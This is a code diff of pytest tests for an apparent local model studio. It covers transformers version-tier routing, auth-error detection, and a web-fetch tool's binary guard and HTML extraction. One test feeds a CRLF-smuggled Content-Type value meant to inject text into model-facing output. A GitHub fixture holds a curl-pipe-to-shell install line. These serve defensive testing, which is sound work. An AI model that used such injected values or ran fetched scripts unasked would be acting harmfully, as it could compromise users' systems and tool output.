+        assert not retired.exists()
+        assert data is not None and data["version"] == "5.99.0"
+
+    def test_stranded_recovery_skipped_during_swap(self, monkeypatch, tmp_path):
+        tv, live, retired = self._setup(monkeypatch, tmp_path)
+        assert tv.try_begin_sidecar_swap() is True
+        try:
+            # A swap holds the reservation and may be mid-rename; do not race it.
+            assert tv._latest_pin_data() is None
+            assert not live.exists()
+            assert retired.is_dir()
+        finally:
+            tv.end_sidecar_swap()
+        # Once the swap is done, the next pin read recovers the stranded sidecar.
+        assert tv._latest_pin_data() is not None
+        assert live.is_dir()
+
+
+class TestCachedLatestMappingRevalidated:
+    """A cached 'latest' mapping is dropped and re-resolved when the sidecar since broke
+    in-process, so routing self-heals instead of trusting a mapping parsed from a sidecar
+    that no longer exists (which would keep routing latest-only models to a broken tier)."""
+
+    def test_broken_sidecar_drops_cached_latest_mapping(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        monkeypatch.setattr(tv, "_config_mapping_cache", {"latest": frozenset({"brandnew"})})
+        monkeypatch.setattr(tv, "_latest_sidecar_intact", lambda: False)
+        seen = {"n": 0}
+
+        def _fake_overlay(tier):
+            seen["n"] += 1
+            return None  # broken/unavailable -> empty, uncached
+
+        monkeypatch.setattr(tv, "_overlay_transformers_dir", _fake_overlay)
+        assert tv._config_model_types("latest") == frozenset()
+        assert seen["n"] == 1  # re-resolved, not served from the stale cache
+        assert "latest" not in tv._config_mapping_cache
+
+    def test_intact_sidecar_serves_cached_latest_mapping(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        monkeypatch.setattr(tv, "_config_mapping_cache", {"latest": frozenset({"brandnew"})})
+        monkeypatch.setattr(tv, "_latest_sidecar_intact", lambda: True)
+        monkeypatch.setattr(
+            tv,
+            "_overlay_transformers_dir",
+            lambda tier: pytest.fail("intact sidecar must serve the cache without re-resolving"),
+        )
+        assert tv._config_model_types("latest") == frozenset({"brandnew"})
+
+    def test_non_latest_cache_not_revalidated(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        monkeypatch.setattr(tv, "_config_mapping_cache", {"530": frozenset({"gemma3"})})
+        monkeypatch.setattr(
+            tv,
+            "_latest_sidecar_intact",
+            lambda: pytest.fail("non-latest tiers must not pay the sidecar-intact check"),
+        )
+        assert tv._config_model_types("530") == frozenset({"gemma3"})
+
+    def test_deleted_pin_drops_cached_latest_mapping(self, monkeypatch, tmp_path):
+        # A pin marker deleted after the mapping was cached makes _latest_pin_data None;
+        # the cache must be dropped (not trusted), so routing re-resolves to no latest tier
+        # rather than routing to a latest tier that then fails worker activation.
+        import utils.transformers_version as tv
+
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / "venv_t5_latest"))
+        monkeypatch.setattr(tv, "_latest_tier_disabled", lambda: False)
+        monkeypatch.setattr(tv, "_config_mapping_cache", {"latest": frozenset({"brandnew"})})
+        # No pin marker on disk -> _latest_pin_data() is None -> not intact.
+        assert tv._latest_sidecar_intact() is False
+        assert tv._config_model_types("latest") == frozenset()
+        assert "latest" not in tv._config_mapping_cache
+
+
+class TestOverlayRepairsIncompleteSidecar:
+    """Routing self-heals a pinned latest sidecar that is present but incomplete,
+    not only one whose transformers/ dir vanished: workers refuse parent-only
+    repairs, so a sidecar missing a pinned package would fail every load."""
+
+    def _setup(self, monkeypatch, tmp_path, valid):
+        import utils.transformers_version as tv
+
+        live = tmp_path / "venv_t5_latest"
+        (live / "transformers").mkdir(parents = True)
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(live))
+        monkeypatch.setattr(tv, "_latest_tier_disabled", lambda: False)
+        monkeypatch.setattr(tv, "latest_venv_pinned_version", lambda: "5.99.0")
+        monkeypatch.setattr(
+            tv,
+            "_latest_pin_data",
+            lambda: {"version": "5.99.0", "packages": ["transformers==5.99.0", "tiktoken"]},
+        )
+        monkeypatch.setattr(tv, "_venv_dir_is_valid", lambda d, p: valid)
+        monkeypatch.setattr(tv, "_latest_repair_failed_at", 0.0)
+        return tv
+
+    def test_incomplete_sidecar_triggers_repair(self, monkeypatch, tmp_path):
+        tv = self._setup(monkeypatch, tmp_path, valid = False)
+        called = {"n": 0}
+
+        def _fake_repair():
+            called["n"] += 1
+            return True
+
+        monkeypatch.setattr(tv, "_ensure_venv_t5_latest_exists", _fake_repair)
+        src = tv._overlay_transformers_dir("latest")
+        assert called["n"] == 1
+        assert src == str(tmp_path / "venv_t5_latest" / "transformers")
+
+    def test_intact_sidecar_skips_repair(self, monkeypatch, tmp_path):
+        tv = self._setup(monkeypatch, tmp_path, valid = True)
+
+        def _must_not_run():
+            raise AssertionError("intact sidecar must not trigger a repair")
+
+        monkeypatch.setattr(tv, "_ensure_venv_t5_latest_exists", _must_not_run)
+        assert tv._overlay_transformers_dir("latest") == str(
+            tmp_path / "venv_t5_latest" / "transformers"
+        )
+
+    def test_failed_repair_backs_off(self, monkeypatch, tmp_path):
+        tv = self._setup(monkeypatch, tmp_path, valid = False)
+        called = {"n": 0}
+
+        def _fake_repair():
+            called["n"] += 1
+            return False
+
+        monkeypatch.setattr(tv, "_ensure_venv_t5_latest_exists", _fake_repair)
+        # A failed repair must not route through the broken sidecar, neither on
+        # the failing attempt nor while the backoff suppresses the next attempt.
+        assert tv._overlay_transformers_dir("latest") is None
+        assert tv._overlay_transformers_dir("latest") is None
+        assert called["n"] == 1
+
+
+class TestStageAndSwapBeforeSwap:
+    """before_swap fires only when the staged install succeeded and the swap is next."""
+
+    def _setup(self, monkeypatch, tmp_path, build_ok):
+        import utils.transformers_version as tv
+
+        live = tmp_path / "venv_latest"
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(live))
+
+        def _fake_build(target, packages, label):
+            if build_ok:
+                Path(target).mkdir(parents = True, exist_ok = True)
+            return build_ok
+
+        monkeypatch.setattr(tv, "_ensure_venv_dir", _fake_build)
+        return tv, live
+
+    def test_called_after_successful_staging(self, monkeypatch, tmp_path):
+        tv, live = self._setup(monkeypatch, tmp_path, build_ok = True)
+        calls = []
+        assert tv._stage_and_swap_latest_venv(
+            "5.99.0", ("transformers==5.99.0",), before_swap = lambda: calls.append(1)
+        )
+        assert calls == [1] and live.is_dir()
+
+    def test_not_called_when_staging_fails(self, monkeypatch, tmp_path):
+        tv, live = self._setup(monkeypatch, tmp_path, build_ok = False)
+        calls = []
+        assert not tv._stage_and_swap_latest_venv(
+            "5.99.0", ("transformers==5.99.0",), before_swap = lambda: calls.append(1)
+        )
+        assert calls == [] and not live.exists()
+
+    def test_failure_in_before_swap_keeps_previous_sidecar(self, monkeypatch, tmp_path):
+        tv, live = self._setup(monkeypatch, tmp_path, build_ok = True)
+        live.mkdir()
+        (live / "sentinel").write_text("old")
+
+        def _boom():
+            raise RuntimeError("worker teardown failed")
+
+        assert not tv._stage_and_swap_latest_venv(
+            "5.99.0", ("transformers==5.99.0",), before_swap = _boom
+        )
+        assert (live / "sentinel").read_text() == "old"
+
+
+class TestKillSwitchBeatsMappingCache:
+    def test_cached_latest_probe_ignored_when_disabled(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        key = tv._probe_cache_key("some/model")
+        monkeypatch.setitem(tv._probe_tier_cache, key, "latest")
+        monkeypatch.setenv("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS", "1")
+        # With the switch set, the cached latest entry must not short-circuit;
+        # the probe re-resolves against the non-latest order (stub it to 530).
+        monkeypatch.setattr(tv, "_probe_tier_venvs", lambda: {})
+        monkeypatch.setattr(tv, "_probe_tier_order", lambda: ())
+        assert tv._probe_tier("some/model", None, "test") != "latest"
+        # Cached non-latest entries and the unset switch still short-circuit.
+        monkeypatch.delenv("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS")
+        assert tv._probe_tier("some/model", None, "test") == "latest"
+
+    def test_cached_latest_mapping_ignored_when_disabled(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        monkeypatch.setitem(tv._config_mapping_cache, "latest", frozenset({"brandnew"}))
+        # The cache is trusted only when the sidecar is intact; hold it intact so this
+        # test isolates the kill switch, not the sidecar-revalidation path.
+        monkeypatch.setattr(tv, "_latest_sidecar_intact", lambda: True)
+        monkeypatch.setenv("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS", "1")
+        assert tv._config_model_types("latest") == frozenset()
+        monkeypatch.delenv("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS")
+        assert tv._config_model_types("latest") == frozenset({"brandnew"})
+
+
+class TestRaiseTierForNested:
+    """_raise_tier_for_nested: a wrapper's nested model_type can raise a fast-path tier."""
+
+    def _patch_types(self, monkeypatch, per_tier):
+        import utils.transformers_version as tv
+        monkeypatch.setattr(
+            tv, "_config_model_types", lambda tier: frozenset(per_tier.get(tier, ()))
+        )
+
+    def test_nested_latest_only_type_raises(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        self._patch_types(monkeypatch, {"550": {"gemma4"}, "latest": {"gemma4", "brandnew_arch"}})
+        cfg = {"model_type": "gemma4", "text_config": {"model_type": "brandnew_arch"}}
+        assert tv._raise_tier_for_nested(cfg, "550") == "latest"
+
+    def test_never_lowers_a_fast_path_tier(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        # Mapping alone would say 530, but the fast path (e.g. a name override) said 550.
+        self._patch_types(monkeypatch, {"530": {"qwen3_5"}, "550": {"qwen3_5"}})
+        assert tv._raise_tier_for_nested({"model_type": "qwen3_5"}, "550") == "550"
+
+    def test_no_config_keeps_tier(self):
+        import utils.transformers_version as tv
+        assert tv._raise_tier_for_nested(None, "550") == "550"
+
+    def test_unknown_nested_type_never_vetoes(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        # A nested type unknown everywhere (not even latest) keeps the fast path.
+        self._patch_types(monkeypatch, {"550": {"gemma4"}, "latest": {"gemma4"}})
+        cfg = {"model_type": "gemma4", "text_config": {"model_type": "unreleased"}}
+        assert tv._raise_tier_for_nested(cfg, "550") == "550"
+
+    def test_name_fast_path_folds_when_latest_pinned(self, monkeypatch):
+        """A fixed-tier name match with a latest-only model_type routes to latest
+        once the sidecar is pinned; without a pin the name tier stands (no I/O)."""
+        import utils.transformers_version as tv
+
+        self._patch_types(monkeypatch, {"550": {"gemma4"}, "latest": {"brandnew_arch"}})
+        monkeypatch.setattr(tv, "_tier_from_name", lambda name: ("550", "gemma-4"))
+        monkeypatch.setattr(
+            tv, "_load_config_json", lambda name, tok = None: {"model_type": "brandnew_arch"}
+        )
+        monkeypatch.setattr(tv, "latest_venv_pinned_version", lambda: "5.99.0")
+        assert tv.get_transformers_tier("org/gemma-4-new", probe = False) == "latest"
+        monkeypatch.setattr(tv, "latest_venv_pinned_version", lambda: None)
+        monkeypatch.setattr(
+            tv,
+            "_load_config_json",
+            lambda name, tok = None: (_ for _ in ()).throw(AssertionError("no I/O without a pin")),
+        )
+        assert tv.get_transformers_tier("org/gemma-4-new", probe = False) == "550"
+
+    def test_fast_path_folds_nested_tier(self, monkeypatch, tmp_path):
+        """End to end: a local wrapper config on a fixed fast path routes to latest
+        when its nested type only exists in the installed latest sidecar."""
+        import utils.transformers_version as tv
+
+        ckpt = tmp_path / "wrapper"
+        ckpt.mkdir()
+        (ckpt / "config.json").write_text(
+            json.dumps({"model_type": "gemma4", "text_config": {"model_type": "brandnew_arch"}})
+        )
+        self._patch_types(monkeypatch, {"550": {"gemma4"}, "latest": {"gemma4", "brandnew_arch"}})
+        monkeypatch.setattr(tv, "_config_needs_510", lambda cfg: False)
+        monkeypatch.setattr(tv, "_config_needs_550", lambda cfg: True)
+        assert tv.get_transformers_tier(str(ckpt), probe = False) == "latest"
diff --git a/studio/backend/tests/test_utils.py b/studio/backend/tests/test_utils.py
index 64a3c62156..741f19c67a 100644
--- a/studio/backend/tests/test_utils.py
+++ b/studio/backend/tests/test_utils.py
@@ -38,7 +38,7 @@ from utils.hardware import (
     DeviceType,
 )
 import utils.hardware.hardware as _hw_module
-from utils.utils import format_error_message
+from utils.utils import format_error_message, is_hf_authentication_error
 
 
 # ========== Helpers ==========
@@ -439,6 +439,20 @@ class TestFormatErrorMessage:
         msg = format_error_message(err, "any/model")
         assert "invalid" in msg.lower()
 
+    def test_hf_authentication_error_follows_wrapped_401(self):
+        response = type("Response", (), {"status_code": 401})()
+        auth_error = Exception("request failed")
+        auth_error.response = response
+        wrapper = RuntimeError("model validation failed")
+        wrapper.__cause__ = auth_error
+        assert is_hf_authentication_error(wrapper) is True
+
+    def test_hf_authentication_error_does_not_treat_429_as_invalid(self):
+        response = type("Response", (), {"status_code": 429})()
+        rate_error = Exception("too many requests")
+        rate_error.response = response
+        assert is_hf_authentication_error(rate_error) is False
+
     # --- OOM on CUDA ---
 
     @needs_torch
diff --git a/studio/backend/tests/test_web_fetch_binary_guard.py b/studio/backend/tests/test_web_fetch_binary_guard.py
new file mode 100644
index 0000000000..10db953913
--- /dev/null
+++ b/studio/backend/tests/test_web_fetch_binary_guard.py
@@ -0,0 +1,390 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Regression tests for binary bodies poisoning web_search model context (#7084)."""
+
+from __future__ import annotations
+
+import codecs
+import sys
+from email.message import Message
+from pathlib import Path
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+from core.inference import tools
+
+
+class _FakeResp:
+    def __init__(self, body: bytes, content_type: str | None):
+        self._body = body
+        self._pos = 0
+        self.headers = Message()
+        if content_type is not None:
+            self.headers["Content-Type"] = content_type
+
+    def read(self, n: int | None = None) -> bytes:
+        # Advance a cursor like a real stream so the chunked reader reaches EOF.
+        chunk = self._body[self._pos :] if n is None else self._body[self._pos : self._pos + n]
+        self._pos += len(chunk)
+        return chunk
+
+
+class _FakeOpener:
+    def __init__(self, resp):
+        self._resp = resp
+
+    def open(
+        self,
+        req,
+        timeout = None,
+    ):
+        return self._resp
+
+
+def _fetch_with(monkeypatch, body: bytes, content_type: str | None) -> str:
+    # Pass SSRF validation and skip real DNS/network.
+    monkeypatch.setattr(
+        tools, "_validate_and_resolve_host", lambda host, port: (True, "", "93.184.216.34")
+    )
+    monkeypatch.setattr(
+        tools.urllib.request,
+        "build_opener",
+        lambda *a, **k: _FakeOpener(_FakeResp(body, content_type)),
+    )
+    return tools._fetch_page_text("https://example.com/thing", timeout = 5)
+
+
+def _pdf_bytes(*page_texts: str) -> bytes:
+    pymupdf = pytest.importorskip("pymupdf")
+    doc = pymupdf.open()
+    for text in page_texts:
+        page = doc.new_page()
+        if text:
+            page.insert_textbox(pymupdf.Rect(40, 40, 550, 750), text, fontsize = 11)
+    data = doc.tobytes()
+    doc.close()
+    return data
+
+
+@pytest.mark.parametrize(
+    "content_type,expected",
+    [
+        ("text/html", True),
+        ("text/plain; charset=utf-8", True),
+        ("application/json", True),
+        ("application/json; charset=utf-8", True),
+        ("application/xml", True),
+        ("application/xhtml+xml", True),
+        ("application/ld+json", True),
+        ("application/yaml", True),
+        ("application/x-yaml", True),
+        ("application/x-ndjson", True),
+        ("application/ndjson", True),
+        ("application/sql", True),
+        ("application/x-www-form-urlencoded", True),
+        ("application/pdf", False),
+        ("image/png", False),
+        ("image/svg+xml", False),
+        ("application/octet-stream", True),
+        ("application/zip", False),
+        ("application/vnd.ms-excel", True),
+        ("application/vnd.openxmlformats-officedocument.wordprocessingml.document", True),
+        ("", True),
+        (None, True),
+    ],
+)
+def test_is_text_candidate_content_type(content_type, expected):
+    assert tools._is_text_candidate_content_type(content_type) is expected
+
+
+@pytest.mark.parametrize(
+    "content_type",
+    ["application/pdf", "application/octet-stream", "text/html", "text/plain", None],
+)
+def test_pdf_text_extracted(monkeypatch, content_type):
+    out = _fetch_with(
+        monkeypatch,
+        _pdf_bytes("First page marker", "Second page marker"),
+        content_type,
+    )
+    assert "## Page 1\n\nFirst page marker" in out
+    assert "## Page 2" in out and "Second page marker" in out
+    assert "binary content" not in out and "non-text content" not in out
+
+
+@pytest.mark.parametrize("content_type", ["application/pdf", "text/plain"])
+def test_malformed_pdf_returns_safe_placeholder(monkeypatch, content_type):
+    out = _fetch_with(monkeypatch, b"%PDF-1.7\nnot a complete PDF", content_type)
+    assert out == "(PDF content could not be read as text)"
+
+
+def test_pdf_without_text_layer_reported(monkeypatch):
+    out = _fetch_with(monkeypatch, _pdf_bytes(""), "application/pdf")
+    assert out == "(PDF contains no extractable text)"
+
+
+def test_encrypted_pdf_returns_safe_placeholder(monkeypatch):
+    pymupdf = pytest.importorskip("pymupdf")
+    doc = pymupdf.open()
+    doc.new_page().insert_text((40, 40), "private text")
+    data = doc.tobytes(
+        encryption = pymupdf.PDF_ENCRYPT_AES_256,
+        owner_pw = "owner",
+        user_pw = "secret",
+    )
+    doc.close()
+    out = _fetch_with(monkeypatch, data, "application/pdf")
+    assert out == "(PDF content could not be read as text)"
+
+
+def test_pdf_download_limit_enforced(monkeypatch):
+    monkeypatch.setattr(tools, "_MAX_PDF_FETCH_BYTES", 256)
+    out = _fetch_with(monkeypatch, _pdf_bytes("Readable but oversized"), "application/pdf")
+    assert out == "(PDF content exceeds the download limit; not readable as text)"
+
+
+def test_mislabeled_pdf_is_read_past_text_download_cap(monkeypatch):
+    body = _pdf_bytes("Cross-reference data was fetched")
+    monkeypatch.setattr(tools, "_MAX_FETCH_BYTES", 128)
+    monkeypatch.setattr(tools, "_MAX_PDF_FETCH_BYTES", len(body) + 100)
+    out = _fetch_with(monkeypatch, body, "text/plain")
+    assert "Cross-reference data was fetched" in out
+
+
+def test_pdf_extraction_caps_pages_and_intermediate_text(monkeypatch):
+    from core.rag.parsers import Page
+
+    seen = {}
+
+    def fake_parse(data, *, max_pages = None):
+        seen["max_pages"] = max_pages
+        pages = [Page(text = "x" * 1000, page_number = i, char_count = 1000) for i in range(1, 51)]
+        return pages, 60  # document actually has more pages than the cap
+
+    monkeypatch.setattr("core.rag.parsers.parse_pdf_bytes", fake_parse)
+    text = tools._extract_pdf_text(b"unused")
+    assert seen["max_pages"] == tools._MAX_WEB_PDF_PAGES
+    assert len(text) <= tools._MAX_PAGE_CHARS
+    assert "text limited to 16,000 characters" in text
+    assert "page processing capped at 50 pages" in text
+
+
+def test_pdf_exactly_at_page_cap_not_marked_capped(monkeypatch):
+    from core.rag.parsers import Page
+
+    # Exactly _MAX_WEB_PDF_PAGES pages are fully read, so no "capped" marker.
+    monkeypatch.setattr(
+        "core.rag.parsers.parse_pdf_bytes",
+        lambda data, *, max_pages = None: (
+            [Page(text = "short", page_number = i, char_count = 5) for i in range(1, 51)],
+            50,
+        ),
+    )
+    text = tools._extract_pdf_text(b"unused")
+    assert "page processing capped" not in text
+    assert "## Page 50\n\nshort" in text
+
+
+def test_pdf_page_cap_does_not_claim_later_pages_are_textless(monkeypatch):
+    from core.rag.parsers import Page
+    monkeypatch.setattr(
+        "core.rag.parsers.parse_pdf_bytes",
+        lambda data, *, max_pages = None: (
+            [Page(text = "", page_number = i, char_count = 0) for i in range(1, 51)],
+            60,
+        ),
+    )
+    assert tools._extract_pdf_text(b"unused") == (
+        "(PDF contains no extractable text in the first 50 pages)"
+    )
+
+
+def test_pdf_result_discarded_after_fetch_deadline(monkeypatch):
+    clock = {"time": 1000.0}
+    monkeypatch.setattr(tools.time, "monotonic", lambda: clock["time"])
+
+    def slow_extract(data):
+        clock["time"] += 10.0
+        return "late PDF text"
+
+    monkeypatch.setattr(tools, "_extract_pdf_text", slow_extract)
+    out = _fetch_with(monkeypatch, _pdf_bytes("Readable text"), "application/pdf")
+    assert out == "Failed to fetch URL: timed out."
+
+
+def test_text_octet_stream_kept_after_sniffing(monkeypatch):
+    body = b"level=info\nmessage=plain text artifact\n" * 100
+    out = _fetch_with(monkeypatch, body, "application/octet-stream")
+    assert "plain text artifact" in out
+    assert "non-text content" not in out and "binary content" not in out
+
+
+@pytest.mark.parametrize(
+    "content_type",
+    ["application/octet-stream", "application/x-custom-binary", "text/plain", None],
+)
+def test_binary_candidates_rejected_after_sniffing(monkeypatch, content_type):
+    out = _fetch_with(monkeypatch, bytes(range(256)) * 20, content_type)
+    assert "�" not in out
+    assert "binary content" in out
+
+
+@pytest.mark.parametrize("content_type", ["application/sql", "application/x-www-form-urlencoded"])
+def test_unknown_application_text_kept_after_sniffing(monkeypatch, content_type):
+    out = _fetch_with(monkeypatch, b"select readable_text from artifacts;\n" * 100, content_type)
+    assert "readable_text" in out
+    assert "non-text content" not in out and "binary content" not in out
+
+
+def test_excel_labeled_csv_kept_after_sniffing(monkeypatch):
+    body = b"name,value\nreadable,42\n" * 100
+    out = _fetch_with(monkeypatch, body, "application/vnd.ms-excel")
+    assert "readable" in out
+    assert "binary content" not in out
+
+
+@pytest.mark.parametrize(
+    "bom,encoding",
+    [
+        (codecs.BOM_UTF16_LE, "utf-16-le"),
+        (codecs.BOM_UTF16_BE, "utf-16-be"),
+        (codecs.BOM_UTF32_LE, "utf-32-le"),
+        (codecs.BOM_UTF32_BE, "utf-32-be"),
+    ],
+)
+@pytest.mark.parametrize("content_type", ["text/plain", "application/vnd.ms-excel"])
+def test_bom_unicode_text_without_charset_kept(monkeypatch, bom, encoding, content_type):
+    body = bom + ("name,value\nreadable,42\n" * 100).encode(encoding)
+    out = _fetch_with(monkeypatch, body, content_type)
+    assert "readable" in out
+    assert "binary content" not in out
+
+
+def test_valid_utf8_binary_caught_by_control_chars(monkeypatch):
+    # These controls are valid UTF-8 and therefore produce no replacement chars.
+    body = bytes([0, 1, 2, 3, 4, 5, 6, 7]) * 400
+    out = _fetch_with(monkeypatch, body, "text/plain")
+    assert "binary content" in out
+
+
+@pytest.mark.parametrize(
+    "magic",
+    [
+        b"PK\x03\x04",
+        b"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1",
+        b"\x1f\x8b",
+        b"BZh",
+        b"\xfd7zXZ\x00",
+        b"\x28\xb5\x2f\xfd",
+    ],
+)
+def test_text_labeled_binary_caught_by_magic(monkeypatch, magic):
+    out = _fetch_with(monkeypatch, magic + b" printable text-heavy body" * 100, "text/plain")
+    assert "binary content" in out
+
+
+@pytest.mark.parametrize(
+    "prefix",
+    [
+        codecs.BOM_UTF8,
+        codecs.BOM_UTF16_LE,
+        codecs.BOM_UTF16_BE,
+        codecs.BOM_UTF32_LE,
+        codecs.BOM_UTF32_BE,
+        b" \r\n",
+        b"\t\xef\xbb\xbf ",
+    ],
+)
+def test_binary_magic_after_harmless_prefix(monkeypatch, prefix):
+    body = prefix + b"\x1f\x8b" + b" printable text-heavy body" * 100
+    out = _fetch_with(monkeypatch, body, "text/plain")
+    assert "binary content" in out
+
+
+@pytest.mark.parametrize(
+    "content_type,magic",
+    [
+        ("application/vnd.ms-excel", b"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1"),
+        (
+            "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
+            b"PK\x03\x04",
+        ),
+    ],
+)
+def test_office_labeled_binary_caught_by_magic(monkeypatch, content_type, magic):
+    out = _fetch_with(monkeypatch, magic + b" printable text-heavy body" * 100, content_type)
+    assert "binary content" in out
+
+
+def test_latin1_text_without_charset_kept(monkeypatch):
+    # The cp1252 retry should rescue accent-heavy text with ASCII structure.
+    body = (
+        "Muller lauft uber die Strasse: schoene, groesse. MARKERWORD ".replace("ue", "ü")
+        + "äöüß éèà "
+    ) * 30
+    out = _fetch_with(monkeypatch, body.encode("cp1252"), "text/plain")
+    assert "binary content" not in out
+    assert "MARKERWORD" in out
+
+
+@pytest.mark.parametrize("charset", ["iso-8859-1", "latin-1", "latin1"])
+def test_declared_latin1_cp1252_punctuation_kept(monkeypatch, charset):
+    body = ("“quoted” " * 100).encode("cp1252")
+    out = _fetch_with(monkeypatch, body, f"text/plain; charset={charset}")
+    assert "quoted" in out
+    assert "binary content" not in out
+
+
+def test_high_byte_binary_not_rescued_as_cp1252(monkeypatch):
+    # cp1252 maps these bytes to printable characters, but they lack ASCII structure.
+    body = bytes(range(0xA0, 0x100)) * 40
+    out = _fetch_with(monkeypatch, body, "text/plain")
+    assert "binary content" in out
+
+
+def test_ansi_colored_text_log_kept(monkeypatch):
+    # ESC is excluded from the binary set so ANSI logs remain readable.
+    line = "".join(f"\x1b[32m+{i}\x1b[0m\n" for i in range(300)).encode()
+    out = _fetch_with(monkeypatch, line, "text/plain")
+    assert "binary content" not in out
+
+
+def test_html_page_unaffected(monkeypatch):
+    html = b"<html><body><h1>Hello</h1><p>Real text content here.</p></body></html>"
+    out = _fetch_with(monkeypatch, html, "text/html; charset=utf-8")
+    assert "Hello" in out
+    assert "non-text content" not in out and "binary content" not in out
+
+
+def test_content_type_sanitized_in_message(monkeypatch):
+    # Do not echo obs-folded header content into the model response.
+    out = _fetch_with(monkeypatch, b"PK\x03\x04" * 500, "application/zip\r\n data: injected")
+    assert "\n" not in out and "\r" not in out
+    assert "injected" not in out
+    assert "application/zip" in out
+
+
+@pytest.mark.parametrize(
+    "n_bad,n_total,expect_binary",
+    [
+        (120, 1000, False),
+        (130, 1000, True),
+    ],
+)
+def test_binary_char_ratio_boundary(monkeypatch, n_bad, n_total, expect_binary):
+    body = b"\x00" * n_bad + b"a" * (n_total - n_bad)
+    out = _fetch_with(monkeypatch, body, "text/plain")
+    assert ("binary content" in out) is expect_binary
+
+
+def test_text_with_a_few_stray_replacement_chars_kept(monkeypatch):
+    # Minor encoding glitches below the floor should not drop a real page.
+    body = ("Real article text. " * 200).encode() + b"\xff\xfe\xff"
+    out = _fetch_with(monkeypatch, body, "text/html")
+    assert "Real article text." in out
+    assert "binary content" not in out
diff --git a/studio/backend/tests/test_web_fetch_extraction.py b/studio/backend/tests/test_web_fetch_extraction.py
new file mode 100644
index 0000000000..b794ee3e81
--- /dev/null
+++ b/studio/backend/tests/test_web_fetch_extraction.py
@@ -0,0 +1,1196 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Main-content extraction and boilerplate stripping for the web fetch tool.
+
+The HTML fixtures below snapshot the relevant fragments of a real GitHub repo
+page (github.com/unslothai/unsloth, fetched 2026-07): the ``hidden``
+client-side error placeholders ("Uh oh! There was an error while loading."),
+the skip-link / nav / footer furniture, and the README rendered inside
+``<article class="markdown-body">``. No network access is required.
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+from core.inference._html_to_md import html_to_markdown
+from core.inference.tools import (
+    _fetch_page_text,
+    _fetch_url_raw,
+    _github_repo_readme_api_url,
+    _looks_like_html,
+)
+
+
+# ── Fixtures: snapshot of GitHub repo page fragments ─────────────
+
+# GitHub ships client-side error placeholders behind the `hidden` attribute (JS
+# reveals them on a failed fetch); a text converter must not surface them.
+_GITHUB_HIDDEN_ERROR_BLOCK = """
+<div data-show-on-forbidden-error hidden>
+  <div class="Box">
+    <div class="blankslate-container">
+      <h3 class="blankslate-heading">Uh oh!</h3>
+      <p class="blankslate-description">
+        <p class="color-fg-muted my-2 mb-2 ws-normal">There was an error while loading.
+        <a class="Link--inTextBlock" href="" aria-label="Please reload this page">Please reload this page</a>.</p>
+      </p>
+    </div>
+  </div>
+</div>
+"""
+
+_GITHUB_PAGE = f"""<!DOCTYPE html>
+<html lang="en">
+<head><title>unslothai/unsloth</title></head>
+<body>
+<a class="px-2 py-4" href="#start-of-content">Skip to content</a>
+<header class="Header-old">
+  <div class="AppHeader-globalBar">
+    <a href="/login">Sign in</a>
+    <a href="/signup">Sign up</a>
+  </div>
+</header>
+<div class="js-notification-shelf"></div>
+<div hidden>
+  You signed in with another tab or window. Reload to refresh your session.
+  You signed out in another tab or window. Reload to refresh your session.
+  You switched accounts on another tab or window. Reload to refresh your session.
+  Dismiss alert
+</div>
+<template>{{{{ message }}}}</template>
+{_GITHUB_HIDDEN_ERROR_BLOCK}
+<main id="js-repo-pjax-container">
+  {_GITHUB_HIDDEN_ERROR_BLOCK}
+  <div id="repository-container-header">
+    <a href="/unslothai">unslothai</a> / <a href="/unslothai/unsloth">unsloth</a>
+    <a href="/login?return_to=%2Funslothai%2Funsloth">Notifications</a>
+    You must be signed in to change notification settings
+  </div>
+  <div class="repository-content">
+    <table aria-labelledby="folders-and-files">
+      <tr><th>Name</th><th>Last commit message</th></tr>
+      <tr><td><a href="/unslothai/unsloth/tree/main/unsloth">unsloth</a></td><td></td></tr>
+    </table>
+    <article class="markdown-body entry-content container-lg" itemprop="text">
+      <h1>Unsloth Studio</h1>
+      <p>Unsloth Studio lets you run and train models locally. Fine-tune and
+      run LLMs on Windows, Linux and macOS with a single install command,
+      then export to GGUF, Ollama, vLLM or Hugging Face when you are done.</p>
+      <h2>Install</h2>
+      <pre>curl -fsSL https://unsloth.ai/install.sh | sh</pre>
+      <p>See the <a href="https://unsloth.ai/docs">documentation</a> for
+      quickstarts, notebooks, and fine-tuning guides for every major model
+      family including Llama, Gemma, Qwen and DeepSeek.</p>
+    </article>
+  </div>
+  <div class="Layout-sidebar">
+    <h2>Languages</h2>
+    <ul>
+      <li><a href="/unslothai/unsloth/search?l=javascript">JavaScript 89.3%</a></li>
+      <li><a href="/unslothai/unsloth/search?l=python">Python 9.7%</a></li>
+    </ul>
+  </div>
+</main>
+<footer>
+  <a href="https://docs.github.com">Docs</a>
+  <a href="https://github.com/contact">Contact</a>
+</footer>
+<div aria-live="polite" aria-hidden="true">You can't perform that action at this time.</div>
+</body>
+</html>
+"""
+
+
